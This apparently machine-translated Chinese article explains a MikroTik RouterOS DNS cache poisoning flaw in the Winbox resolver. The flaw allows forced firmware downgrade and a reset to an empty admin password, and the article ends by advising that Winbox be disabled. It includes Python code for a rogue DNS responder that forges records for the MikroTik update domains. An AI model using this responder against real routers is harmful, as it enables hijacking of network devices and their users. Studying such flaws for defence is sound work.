
基于RouterOS(Mikrotik)远程降级设备的能力使成千上万的网络设备面临风险。 该漏洞与Winbox协议的DNS缓存中毒有关,它使您可以下载设备上过时的(默认情况下重置密码)或修改的固件。

漏洞详情
RouterOS终端支持用于DNS查找的解析命令。

该请求由名为“ resolver”的二进制文件处理。 解析器是连接到RouterOS Winbox协议的许多二进制文件之一。 在较高级别,可以基于基于数组的编号方案将发送到Winbox端口的“消息”路由到RouterOS中的各种二进制文件。
默认情况下,RouterOS禁用DNS服务器功能。

但是,即使禁用了服务器功能,路由器也会维护自己的DNS缓存。

当我们使用winbox_dns_request发出请求时,例如example.com,路由器将缓存结果。

由于我们可以指定请求应通过的DNS服务器,因此输入错误的地址很简单。 例如,您可以配置来自
Philip Klaus的DNS服务器的实现,使其始终以包含IP地址192.168.88.250的A记录进行响应。
def dns_response(data): request = DNSRecord.parse(data) reply = DNSRecord(DNSHeader( id=request.header.id, qr=1, aa=1, ra=1), q=request.q) qname = request.q.qname qn = str(qname) reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250"))) print("---- Reply:\n", reply) return reply.pack()
现在,如果您使用Winbox查找example.com,则可以看到路由器的DNS缓存已中毒。

当然,中毒example.com并不是很有用,因为路由器实际上不会使用它。 但是,路由器需要访问upgrade.mikrotik.com,cloud.mikrotik.com,cloud2.mikrotik.com和download.mikrotik.com。 而且由于另一个错误,有可能立即将它们全部中毒。
def dns_response(data): request = DNSRecord.parse(data) reply = DNSRecord(DNSHeader( id=request.header.id, qr=1, aa=1, ra=1), q=request.q) qname = request.q.qname qn = str(qname) reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250"))) reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800, rdata=A("192.168.88.250"))) reply.add_answer(RR("cloud.mikrotik.com",ttl=604800, rdata=A("192.168.88.250"))) reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800, rdata=A("192.168.88.250"))) reply.add_answer(RR("download.mikrotik.com",ttl=604800, rdata=A("192.168.88.250"))) print("---- Reply:\n", reply) return reply.pack()
路由器请求一项许可,我们提供五项许可。 路由器错误地缓存了所有这些响应。

显然,如果路由器充当DNS服务器,此攻击也很有用,因为它允许攻击路由器的客户端。
此攻击还允许利用更严重的漏洞:降级或向后移植RouterOS版本。 攻击者重新创建更新服务器的逻辑,包括变更日志,并迫使RouterOS接受过时的(易受攻击的)版本作为当前版本。 这里的危险在于,当“更新”版本时,管理员密码会重置为默认值-攻击者可以使用空密码登录系统!
尽管
作者实现了更多的向量,包括与
在固件中嵌入后门有关的向量,但这种攻击还是有效的,但这已经是一种冗余技术,将其用于非法目的是非法的。
防护等级
只需禁用Winbox即可抵御这些攻击。 尽管通过Winbox进行管理很方便,但最好使用SSH协议。